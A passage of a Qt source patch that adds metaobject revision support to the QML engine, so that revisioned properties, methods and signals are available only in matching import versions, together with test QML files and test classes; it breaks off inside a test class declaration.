.../data/metaobjectRevision.3.qml | 10 ++ .../qdeclarativelanguage/data/revisions10.qml | 8 + .../qdeclarativelanguage/data/revisions11.qml | 10 ++ .../data/revisionsbasesub11.qml | 16 ++ .../qdeclarativelanguage/data/revisionssub10.qml | 10 ++ .../qdeclarativelanguage/data/revisionssub11.qml | 12 ++ .../declarative/qdeclarativelanguage/testtypes.cpp | 9 ++ .../declarative/qdeclarativelanguage/testtypes.h | 163 +++++++++++++++++++++ .../tst_qdeclarativelanguage.cpp | 62 ++++++++ .../qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp | 12 +- 41 files changed, 883 insertions(+), 53 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml diff --git a/src/declarative/qml/qdeclarative.h b/src/declarative/qml/qdeclarative.h index f0c62f4..8a6d068 100644 --- a/src/declarative/qml/qdeclarative.h +++ b/src/declarative/qml/qdeclarative.h @@ -113,6 +113,7 @@ int qmlRegisterType() 0, 0, + 0, 0 }; @@ -148,6 +149,7 @@ int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMin 0, 0, + 0, 0 }; @@ -181,12 +183,82 @@ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const c 0, 0, + 0, 0 }; return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type); } +template +int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) +{ + QByteArray name(T::staticMetaObject.className()); + + QByteArray pointerName(name + '*'); + QByteArray listName("QDeclarativeListProperty<" + name + ">"); + + QDeclarativePrivate::RegisterType type = { + 1, + + qRegisterMetaType(pointerName.constData()), + qRegisterMetaType >(listName.constData()), + sizeof(T), QDeclarativePrivate::createInto, + QString(), + + uri, versionMajor, versionMinor, qmlName, &T::staticMetaObject, + + QDeclarativePrivate::attachedPropertiesFunc(), + QDeclarativePrivate::attachedPropertiesMetaObject(), + + QDeclarativePrivate::StaticCastSelector::cast(), + QDeclarativePrivate::StaticCastSelector::cast(), + QDeclarativePrivate::StaticCastSelector::cast(), + + 0, 0, + + 0, + metaObjectRevision + }; + + return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type); +} + +template +int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor) +{ + QByteArray name(T::staticMetaObject.className()); + + QByteArray pointerName(name + '*'); + QByteArray listName("QDeclarativeListProperty<" + name + ">"); + + QDeclarativePrivate::RegisterType type = { + 1, + + qRegisterMetaType(pointerName.constData()), + qRegisterMetaType >(listName.constData()), + sizeof(T), QDeclarativePrivate::createInto, + QString(), + + uri, versionMajor, versionMinor, 0, &T::staticMetaObject, + + QDeclarativePrivate::attachedPropertiesFunc(), + QDeclarativePrivate::attachedPropertiesMetaObject(), + + QDeclarativePrivate::StaticCastSelector::cast(), + QDeclarativePrivate::StaticCastSelector::cast(), + QDeclarativePrivate::StaticCastSelector::cast(), + + 0, 0, + + 0, + metaObjectRevision + }; + + return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type); +} + + template int qmlRegisterExtendedType() { @@ -214,6 +286,7 @@ int qmlRegisterExtendedType() QDeclarativePrivate::createParent, &E::staticMetaObject, + 0, 0 }; @@ -255,6 +328,7 @@ int qmlRegisterExtendedType(const char *uri, int versionMajor, int versionMinor, QDeclarativePrivate::createParent, &E::staticMetaObject, + 0, 0 }; @@ -309,7 +383,8 @@ int qmlRegisterCustomType(const char *uri, int versionMajor, int versionMinor, 0, 0, - parser + parser, + 0 }; return QDeclarativePrivate::qmlregister(QDeclarativePrivate::TypeRegistration, &type); diff --git a/src/declarative/qml/qdeclarativecompiledbindings.cpp b/src/declarative/qml/qdeclarativecompiledbindings.cpp index 48f8b84..619016b 100644 --- a/src/declarative/qml/qdeclarativecompiledbindings.cpp +++ b/src/declarative/qml/qdeclarativecompiledbindings.cpp @@ -2527,6 +2527,10 @@ bool QDeclarativeBindingCompilerPrivate::fetch(Result &rv, const QMetaObject *mo rv.metaObject = 0; rv.type = 0; + //XXX binding optimizer doesn't handle properties with a revision + if (prop.revision() > 0) + return false; + int fastFetchIndex = fastProperties()->accessorIndexForProperty(mo, idx); Instr fetch; diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index b2b0990..0c56165 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -902,6 +902,7 @@ void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj) create.line = obj->location.start.line; create.createSimple.create = output->types.at(obj->type).type->createFunction(); create.createSimple.typeSize = output->types.at(obj->type).type->createSize(); + create.createSimple.type = obj->type; create.createSimple.column = obj->location.start.column; output->bytecode << create; @@ -1351,7 +1352,8 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl if(name[0] >= 'A' && name[0] <= 'Z') name[0] = name[0] - 'A' + 'a'; - int sigIdx = QDeclarativePropertyPrivate::findSignalByName(obj->metaObject(), name).methodIndex(); + QMetaMethod method = QDeclarativePropertyPrivate::findSignalByName(obj->metaObject(), name); + int sigIdx = method.methodIndex(); if (sigIdx == -1) { @@ -1364,6 +1366,13 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl if (prop->value || prop->values.count() != 1) COMPILE_EXCEPTION(prop, tr("Incorrectly specified signal assignment")); + if (method.revision() > 0) { + QDeclarativeType *type = output->types.at(obj->type).type; + if (!type->isMethodAvailable(sigIdx, method.revision())) { + COMPILE_EXCEPTION(prop, tr("Signal \"%1\" not available in %2 %3.%4").arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type->qmlTypeName())).arg(obj->majorVersion).arg(obj->minorVersion)); + } + } + prop->index = sigIdx; obj->addSignalProperty(prop); @@ -1481,6 +1490,12 @@ bool QDeclarativeCompiler::buildProperty(QDeclarativeParser::Property *prop, // successful index resolution if (p.name()) { prop->type = p.userType(); + if (p.revision() > 0) { + QDeclarativeType *type = output->types.at(obj->type).type; + if (!type->isPropertyAvailable(prop->index, p.revision())) { + COMPILE_EXCEPTION(prop, tr("Property \"%1\" not available in %2 %3.%4").arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type->qmlTypeName())).arg(obj->majorVersion).arg(obj->minorVersion)); + } + } } // Check if this is an alias diff --git a/src/declarative/qml/qdeclarativedata_p.h b/src/declarative/qml/qdeclarativedata_p.h index 4767169..81f279c 100644 --- a/src/declarative/qml/qdeclarativedata_p.h +++ b/src/declarative/qml/qdeclarativedata_p.h @@ -66,6 +66,7 @@ class QDeclarativePropertyCache; class QDeclarativeContextData; class QDeclarativeNotifier; class QDeclarativeDataExtended; +class QDeclarativeType; // This class is structured in such a way, that simply zero'ing it is the // default state for elemental object allocations. This is crucial in the // workings of the QDeclarativeInstruction::CreateSimpleObject instruction. @@ -77,7 +78,7 @@ public: : ownMemory(true), ownContext(false), indestructible(true), explicitIndestructibleSet(false), context(0), outerContext(0), bindings(0), nextContextObject(0), prevContextObject(0), bindingBitsSize(0), bindingBits(0), lineNumber(0), columnNumber(0), deferredComponent(0), deferredIdx(0), - scriptValue(0), objectDataRefCount(0), propertyCache(0), guards(0), extendedData(0) { + scriptValue(0), objectDataRefCount(0), propertyCache(0), guards(0), type(0), extendedData(0) { init(); } @@ -136,6 +137,8 @@ public: QDeclarativeGuard *guards; + const QDeclarativeType *type; + static QDeclarativeData *get(const QObject *object, bool create = false) { QObjectPrivate *priv = QObjectPrivate::get(const_cast(object)); if (priv->wasDeleted) { diff --git a/src/declarative/qml/qdeclarativeinstruction_p.h b/src/declarative/qml/qdeclarativeinstruction_p.h index 94676fc..4030bab 100644 --- a/src/declarative/qml/qdeclarativeinstruction_p.h +++ b/src/declarative/qml/qdeclarativeinstruction_p.h @@ -182,6 +182,7 @@ public: struct CreateSimpleInstruction { void (*create)(void *); int typeSize; + int type; ushort column; }; struct StoreMetaInstruction { diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp index 7a78a1f..1f387c4 100644 --- a/src/declarative/qml/qdeclarativemetatype.cpp +++ b/src/declarative/qml/qdeclarativemetatype.cpp @@ -134,10 +134,13 @@ public: bool m_isInterface : 1; const char *m_iid; + QByteArray m_module; QByteArray m_name; int m_version_maj; int m_version_min; int m_typeId; int m_listId; + int m_revision; + mutable QDeclarativeType *m_superType; int m_allocationSize; void (*m_newFunc)(void *); @@ -155,6 +158,7 @@ public: int m_index; QDeclarativeCustomParser *m_customParser; mutable volatile bool m_isSetup:1; + mutable bool m_haveSuperType : 1; mutable QList m_metaObjects; static QHash m_attachedPropertyIds; @@ -163,10 +167,10 @@ public: QHash QDeclarativeTypePrivate::m_attachedPropertyIds; QDeclarativeTypePrivate::QDeclarativeTypePrivate() -: m_isInterface(false), m_iid(0), m_typeId(0), m_listId(0), +: m_isInterface(false), m_iid(0), m_typeId(0), m_listId(0), m_revision(0), m_superType(0), m_allocationSize(0), m_newFunc(0), m_baseMetaObject(0), m_attachedPropertiesFunc(0), m_attachedPropertiesType(0), m_parserStatusCast(-1), m_propertyValueSourceCast(-1), m_propertyValueInterceptorCast(-1), - m_extFunc(0), m_extMetaObject(0), m_index(-1), m_customParser(0), m_isSetup(false) + m_extFunc(0), m_extMetaObject(0), m_index(-1), m_customParser(0), m_isSetup(false), m_haveSuperType(false) { } @@ -192,9 +196,11 @@ QDeclarativeType::QDeclarativeType(int index, const QDeclarativePrivate::Registe if (type.uri) name += '/'; name += type.elementName; + d->m_module = type.uri; d->m_name = name; d->m_version_maj = type.versionMajor; d->m_version_min = type.versionMinor; + d->m_revision = type.revision; d->m_typeId = type.typeId; d->m_listId = type.listId; d->m_allocationSize = type.objectSize; @@ -243,6 +249,56 @@ bool QDeclarativeType::availableInVersion(int vmajor, int vminor) const return vmajor > d->m_version_maj || (vmajor == d->m_version_maj && vminor >= d->m_version_min); } +bool QDeclarativeType::availableInVersion(const QByteArray &module, int vmajor, int vminor) const +{ + return module == d->m_module && (vmajor > d->m_version_maj || (vmajor == d->m_version_maj && vminor >= d->m_version_min)); +} + +// returns the nearest _registered_ super class +QDeclarativeType *QDeclarativeType::superType() const +{ + if (!d->m_haveSuperType) { + const QMetaObject *mo = d->m_baseMetaObject->superClass(); + while (mo && !d->m_superType) { + d->m_superType = QDeclarativeMetaType::qmlType(mo, d->m_module, d->m_version_maj, d->m_version_min); + mo = mo->superClass(); + } + d->m_haveSuperType = true; + } + + return d->m_superType; +} + +bool QDeclarativeType::isPropertyAvailable(int index, int revision) const +{ + if (revision == 0) + return true; + + if (index < d->m_baseMetaObject->propertyOffset()) { + if (QDeclarativeType *super = superType()) + return super->isPropertyAvailable(index, revision); + } else if (index < d->m_baseMetaObject->propertyOffset() + d->m_baseMetaObject->propertyCount()) { + return d->m_revision >= revision; + } + + return false; +} + +bool QDeclarativeType::isMethodAvailable(int index, int revision) const +{ + if (revision == 0) + return true; + + if (index < d->m_baseMetaObject->methodOffset()) { + if (QDeclarativeType *super = superType()) + return super->isMethodAvailable(index, revision); + } else if (index < d->m_baseMetaObject->methodOffset() + d->m_baseMetaObject->methodCount()) { + return d->m_revision >= revision; + } + + return false; +} + static void clone(QMetaObjectBuilder &builder, const QMetaObject *mo, const QMetaObject *ignoreStart, const QMetaObject *ignoreEnd) { @@ -572,7 +628,7 @@ int registerType(const QDeclarativePrivate::RegisterType &type) if (!dtype->qmlTypeName().isEmpty()) data->nameToType.insertMulti(dtype->qmlTypeName(), dtype); - data->metaObjectToType.insert(dtype->baseMetaObject(), dtype); + data->metaObjectToType.insertMulti(dtype->baseMetaObject(), dtype); if (data->objects.size() <= type.typeId) data->objects.resize(type.typeId + 16); @@ -862,6 +918,27 @@ QDeclarativeType *QDeclarativeMetaType::qmlType(const QMetaObject *metaObject) } /*! + Returns the type (if any) that corresponds to the \a metaObject in version specified + by \a version_major and \a version_minor in module specified by \a uri. Returns null if no + type is registered. +*/ +QDeclarativeType *QDeclarativeMetaType::qmlType(const QMetaObject *metaObject, const QByteArray &module, int version_major, int version_minor) +{ + QReadLocker lock(metaTypeDataLock()); + QDeclarativeMetaTypeData *data = metaTypeData(); + + QDeclarativeMetaTypeData::MetaObjects::const_iterator it = data->metaObjectToType.find(metaObject); + while (it != data->metaObjectToType.end() && it.key() == metaObject) { + QDeclarativeType *t = *it; + if (version_major < 0 || t->availableInVersion(module, version_major,version_minor)) + return t; + ++it; + } + + return 0; +} + +/*! Returns the type (if any) that corresponds to the QVariant::Type \a userType. Returns null if no type is registered. */ diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h index 9c486d3..d9a3795 100644 --- a/src/declarative/qml/qdeclarativemetatype_p.h +++ b/src/declarative/qml/qdeclarativemetatype_p.h @@ -76,6 +76,7 @@ public: static QDeclarativeType *qmlType(const QByteArray &, int, int); static QDeclarativeType *qmlType(const QMetaObject *); + static QDeclarativeType *qmlType(const QMetaObject *metaObject, const QByteArray &module, int version_major, int version_minor); static QDeclarativeType *qmlType(int); static QMetaProperty defaultProperty(const QMetaObject *); @@ -115,6 +116,9 @@ public: int majorVersion() const; int minorVersion() const; bool availableInVersion(int vmajor, int vminor) const; + bool availableInVersion(const QByteArray &module, int vmajor, int vminor) const; + bool isPropertyAvailable(int index, int revision) const; + bool isMethodAvailable(int index, int revision) const; QObject *create() const; void create(QObject **, void **, size_t) const; @@ -149,6 +153,7 @@ public: int index() const; private: + QDeclarativeType *superType() const; friend class QDeclarativeTypePrivate; friend struct QDeclarativeMetaTypeData; friend int registerType(const QDeclarativePrivate::RegisterType &); diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp index b0bc5bb..090eeda 100644 --- a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp +++ b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp @@ -166,6 +166,20 @@ QDeclarativeObjectScriptClass::queryProperty(QObject *obj, const Identifier &nam QDeclarativeEnginePrivate *enginePrivate = QDeclarativeEnginePrivate::get(engine); lastData = QDeclarativePropertyCache::property(engine, obj, name, local); + if (lastData && lastData->revision > 0 && (hints & ImplicitObject)) { + QDeclarativeData *data = QDeclarativeData::get(obj); + if (data) { + if (!data->type) { + lastData = 0; + } else if (lastData->flags & QDeclarativePropertyCache::Data::IsFunction) { + if (!data->type->isMethodAvailable(lastData->coreIndex, lastData->revision)) + lastData = 0; + } else if (!data->type->isPropertyAvailable(lastData->coreIndex, lastData->revision)) { + lastData = 0; + } + } + } + if (lastData) return QScriptClass::HandlesReadAccess | QScriptClass::HandlesWriteAccess; diff --git a/src/declarative/qml/qdeclarativeprivate.h b/src/declarative/qml/qdeclarativeprivate.h index 388c92e..a4fc4c1 100644 --- a/src/declarative/qml/qdeclarativeprivate.h +++ b/src/declarative/qml/qdeclarativeprivate.h @@ -214,6 +214,7 @@ namespace QDeclarativePrivate const QMetaObject *extensionMetaObject; QDeclarativeCustomParser *customParser; + int revision; }; struct RegisterInterface { diff --git a/src/declarative/qml/qdeclarativepropertycache.cpp b/src/declarative/qml/qdeclarativepropertycache.cpp index dd9a224..76c9eb9 100644 --- a/src/declarative/qml/qdeclarativepropertycache.cpp +++ b/src/declarative/qml/qdeclarativepropertycache.cpp @@ -88,6 +88,7 @@ void QDeclarativePropertyCache::Data::load(const QMetaProperty &p, QDeclarativeE coreIndex = p.propertyIndex(); notifyIndex = p.notifySignalIndex(); flags = flagsForProperty(p, engine); + revision = p.revision(); } void QDeclarativePropertyCache::Data::load(const QMetaMethod &m) @@ -106,6 +107,7 @@ void QDeclarativePropertyCache::Data::load(const QMetaMethod &m) QList params = m.parameterTypes(); if (!params.isEmpty()) flags |= Data::HasArguments; + revision = m.revision(); } @@ -235,7 +237,6 @@ void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaOb Data::Flag propertyFlags, Data::Flag methodFlags, Data::Flag signalFlags) { QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine); - int methodCount = metaObject->methodCount(); // 3 to block the destroyed signal and the deleteLater() slot int methodOffset = qMax(3, metaObject->methodOffset()); diff --git a/src/declarative/qml/qdeclarativepropertycache_p.h b/src/declarative/qml/qdeclarativepropertycache_p.h index f7c5daa..3f7f9ef 100644 --- a/src/declarative/qml/qdeclarativepropertycache_p.h +++ b/src/declarative/qml/qdeclarativepropertycache_p.h @@ -110,6 +110,7 @@ public: int notifyIndex; // When !IsFunction int relatedIndex; // When IsFunction }; + int revision; static Flags flagsForProperty(const QMetaProperty &, QDeclarativeEngine *engine = 0); void load(const QMetaProperty &, QDeclarativeEngine *engine = 0); @@ -176,7 +177,8 @@ bool QDeclarativePropertyCache::Data::operator==(const QDeclarativePropertyCache return flags == other.flags && propType == other.propType && coreIndex == other.coreIndex && - notifyIndex == other.notifyIndex; + notifyIndex == other.notifyIndex && + revision == other.revision; } QDeclarativePropertyCache::Data * diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp index 57cc9ab..e32a3d2 100644 --- a/src/declarative/qml/qdeclarativescriptparser.cpp +++ b/src/declarative/qml/qdeclarativescriptparser.cpp @@ -307,7 +307,6 @@ ProcessAST::defineObjectBinding(AST::UiQualifiedId *propertyName, obj->location = location; if (propertyCount) { - Property *prop = currentProperty(); Value *v = new Value; v->object = obj; diff --git a/src/declarative/qml/qdeclarativevaluetype.cpp b/src/declarative/qml/qdeclarativevaluetype.cpp index 5dc6ffd..bf02de8 100644 --- a/src/declarative/qml/qdeclarativevaluetype.cpp +++ b/src/declarative/qml/qdeclarativevaluetype.cpp @@ -71,6 +71,7 @@ int qmlRegisterValueTypeEnums(const char *uri, int versionMajor, int versionMino 0, 0, + 0, 0 }; diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp index c742dec..6ee653b 100644 --- a/src/declarative/qml/qdeclarativevme.cpp +++ b/src/declarative/qml/qdeclarativevme.cpp @@ -194,6 +194,8 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack, QDeclarativeData *ddata = QDeclarativeData::get(o); Q_ASSERT(ddata); + if (types.at(instr.create.type).type) + ddata->type = types.at(instr.create.type).type; if (stack.isEmpty()) { if (ddata->context) { @@ -249,6 +251,8 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack, QDeclarativeData *ddata = (QDeclarativeData *)(((const char *)o) + instr.createSimple.typeSize); + if (types.at(instr.createSimple.type).type) + ddata->type = types.at(instr.createSimple.type).type; ddata->lineNumber = instr.line; ddata->columnNumber = instr.createSimple.column; diff --git a/src/declarative/qml/qmetaobjectbuilder.cpp b/src/declarative/qml/qmetaobjectbuilder.cpp index dfe89f8..60cd6a9 100644 --- a/src/declarative/qml/qmetaobjectbuilder.cpp +++ b/src/declarative/qml/qmetaobjectbuilder.cpp @@ -122,7 +122,7 @@ enum PropertyFlags { User = 0x00100000, ResolveUser = 0x00200000, Notify = 0x00400000, - Dynamic = 0x00800000 + Revisioned = 0x00800000 }; enum MethodFlags { @@ -139,7 +139,8 @@ enum MethodFlags { MethodCompatibility = 0x10, MethodCloned = 0x20, - MethodScriptable = 0x40 + MethodScriptable = 0x40, + MethodRevisioned = 0x80 }; struct QMetaObjectPrivate @@ -2277,21 +2278,6 @@ bool QMetaPropertyBuilder::isEnumOrFlag() const } /*! - Returns true if the property has the dynamic flag set; - otherwise returns false. The default value is false. - - \sa setDynamic() -*/ -bool QMetaPropertyBuilder::isDynamic() const -{ - QMetaPropertyBuilderPrivate *d = d_func(); - if (d) - return d->flag(Dynamic); - else - return false; -} - -/*! Sets this property to readable if \a value is true. \sa isReadable(), setWritable() @@ -2415,19 +2401,6 @@ void QMetaPropertyBuilder::setEnumOrFlag(bool value) } /*! - Sets this property to have the dynamic flag if \a value is - true. - - \sa isDynamic() -*/ -void QMetaPropertyBuilder::setDynamic(bool value) -{ - QMetaPropertyBuilderPrivate *d = d_func(); - if (d) - d->setFlag(Dynamic, value); -} - -/*! \class QMetaEnumBuilder \internal \brief The QMetaEnumBuilder class enables modifications to an enumerator definition on a meta object builder. diff --git a/src/declarative/qml/qmetaobjectbuilder_p.h b/src/declarative/qml/qmetaobjectbuilder_p.h index a90ba63..c270f60 100644 --- a/src/declarative/qml/qmetaobjectbuilder_p.h +++ b/src/declarative/qml/qmetaobjectbuilder_p.h @@ -258,7 +258,6 @@ public: bool isUser() const; bool hasStdCppSet() const; bool isEnumOrFlag() const; - bool isDynamic() const; void setReadable(bool value); void setWritable(bool value); @@ -270,7 +269,6 @@ public: void setUser(bool value); void setStdCppSet(bool value); void setEnumOrFlag(bool value); - void setDynamic(bool value); private: const QMetaObjectBuilder *_mobj; diff --git a/src/declarative/util/qdeclarativeopenmetaobject.cpp b/src/declarative/util/qdeclarativeopenmetaobject.cpp index c611435..1426cea 100644 --- a/src/declarative/util/qdeclarativeopenmetaobject.cpp +++ b/src/declarative/util/qdeclarativeopenmetaobject.cpp @@ -97,7 +97,6 @@ int QDeclarativeOpenMetaObjectType::createProperty(const QByteArray &name) int id = d->mob.propertyCount(); d->mob.addSignal("__" + QByteArray::number(id) + "()"); QMetaPropertyBuilder build = d->mob.addProperty(name, "QVariant", id); - build.setDynamic(true); propertyCreated(id, build); qFree(d->mem); d->mem = d->mob.toMetaObject(); diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml new file mode 100644 index 0000000..77accd8 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml @@ -0,0 +1,7 @@ +import Qt.test 1.1 + +MyRevisionedClass +{ + prop1: prop2 + onSignal1: method2() +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml new file mode 100644 index 0000000..36057cb --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml @@ -0,0 +1,9 @@ +import Qt.test 1.1 + +MyRevisionedSubclass +{ + prop1: prop3 + onSignal1: method2() + prop3: prop4 + onSignal3: method4() +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml new file mode 100644 index 0000000..81769e9 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml @@ -0,0 +1,8 @@ +import Qt.test 1.0 + +MyRevisionedSubclass +{ + prop1: prop3 + onSignal1: method1() + onSignal3: method3() +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml new file mode 100644 index 0000000..44d421e --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml @@ -0,0 +1,14 @@ +import QtQuick 1.0 +import Qt.test 1.0 + +MyRevisionedClass +{ + // Will not hit optimizer + property real p1: prop1 % 3 + property real p2: prop2 % 3 + + // Should hit optimizer + property real p3: prop2 + + Component.onCompleted: method2() +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml new file mode 100644 index 0000000..121642e --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml @@ -0,0 +1,24 @@ +import QtQuick 1.0 +import Qt.test 1.0 + +MyRevisionedSubclass +{ + // Will not hit optimizer + property real p1: prop1 % 3 + property real p2: prop2 % 3 + property real p3: prop3 % 3 + property real p4: prop4 % 3 + + // Should hit optimizer + property real p5: prop1 + property real p6: prop2 + property real p7: prop3 + property real p8: prop4 + + Component.onCompleted: { + method1() + method2() + method3() + method4() + } +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml new file mode 100644 index 0000000..123650e --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml @@ -0,0 +1,36 @@ +import QtQuick 1.0 +import Qt.test 1.1 + +MyRevisionedSubclass +{ + // Will not hit optimizer + property real pA: propA % 3 + property real pB: propB % 3 + property real pC: propC % 3 + property real pD: propD % 3 + property real p1: prop1 % 3 + property real p2: prop2 % 3 + property real p3: prop3 % 3 + property real p4: prop4 % 3 + + // Should hit optimizer + property real pE: propA + property real pF: propB + property real pG: propC + property real pH: propD + property real p5: prop1 + property real p6: prop2 + property real p7: prop3 + property real p8: prop4 + + Component.onCompleted: { + methodA() + methodB() + methodC() + methodD() + method1() + method2() + method3() + method4() + } +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp index 94135f9..29e5eac 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp @@ -113,6 +113,15 @@ void registerTypes() qmlRegisterType("Qt.test", 1,0, "NumberAssignment"); qmlRegisterExtendedType("Qt.test", 1,0, "DefaultPropertyExtendedObject"); qmlRegisterType("Qt.test", 1,0, "OverrideDefaultPropertyObject"); + qmlRegisterType("Qt.test",1,0,"MyRevisionedClass"); + qmlRegisterType("Qt.test",1,1,"MyRevisionedClass"); + + // Register the uncreatable base class + qmlRegisterRevision("Qt.test",1,1); + // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0 + qmlRegisterType("Qt.test",1,0,"MyRevisionedSubclass"); + // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1 + qmlRegisterType("Qt.test",1,1,"MyRevisionedSubclass"); qmlRegisterExtendedType("Qt.test",1,0,"QWidget"); qmlRegisterType("Qt.test",1,0,"QPlainTextEdit"); diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h index 15c310f..02a4352 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h +++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h @@ -736,6 +736,167 @@ public: OverrideDefaultPropertyObject() {} }; +class MyRevisionedBaseClassRegistered : public QObject +{ +Q_OBJECT + Q_PROPERTY(qreal propA READ propA WRITE setPropA NOTIFY propAChanged) + Q_PROPERTY(qreal propB READ propB WRITE setPropB NOTIFY propBChanged REVISION 1) + +public: + MyRevisionedBaseClassRegistered() : m_pa(1), m_pb(2) {} + + qreal propA() const { return m_pa; } + void setPropA(qreal p) { + if (p != m_pa) { + m_pa = p; + emit propAChanged(); + } + } + qreal propB() const { return m_pb; } + void setPropB(qreal p) { + if (p != m_pb) { + m_pb = p; + emit propBChanged(); + } + } + + Q_INVOKABLE void methodA() { } + Q_INVOKABLE Q_REVISION(1) void methodB() { } + +signals: + void propAChanged(); + void propBChanged(); + + void signalA(); + Q_REVISION(1) void signalB(); + +protected: + qreal m_pa; + qreal m_pb; +}; + +class MyRevisionedBaseClassUnregistered : public MyRevisionedBaseClassRegistered +{ +Q_OBJECT + Q_PROPERTY(qreal propC READ propC WRITE setPropC NOTIFY propCChanged) + Q_PROPERTY(qreal propD READ propD WRITE setPropD NOTIFY propDChanged REVISION 1) + +public: + MyRevisionedBaseClassUnregistered() : m_pc(1), m_pd(2) {} + + qreal propC() const { return m_pc; } + void setPropC(qreal p) { + if (p != m_pc) { + m_pc = p; + emit propCChanged(); + } + } + qreal propD() const { return m_pd; } + void setPropD(qreal p) { + if (p != m_pd) { + m_pd = p; + emit propDChanged(); + } + } + + Q_INVOKABLE void methodC() { } + Q_INVOKABLE Q_REVISION(1) void methodD() { } + +signals: + void propCChanged(); + void propDChanged(); + + void signalC(); + Q_REVISION(1) void signalD(); + +protected: + qreal m_pc; + qreal m_pd; +}; + +class MyRevisionedClass : public MyRevisionedBaseClassUnregistered +{ + Q_OBJECT + Q_PROPERTY(qreal prop1 READ prop1 WRITE setProp1 NOTIFY prop1Changed) + Q_PROPERTY(qreal prop2 READ prop2 WRITE setProp2 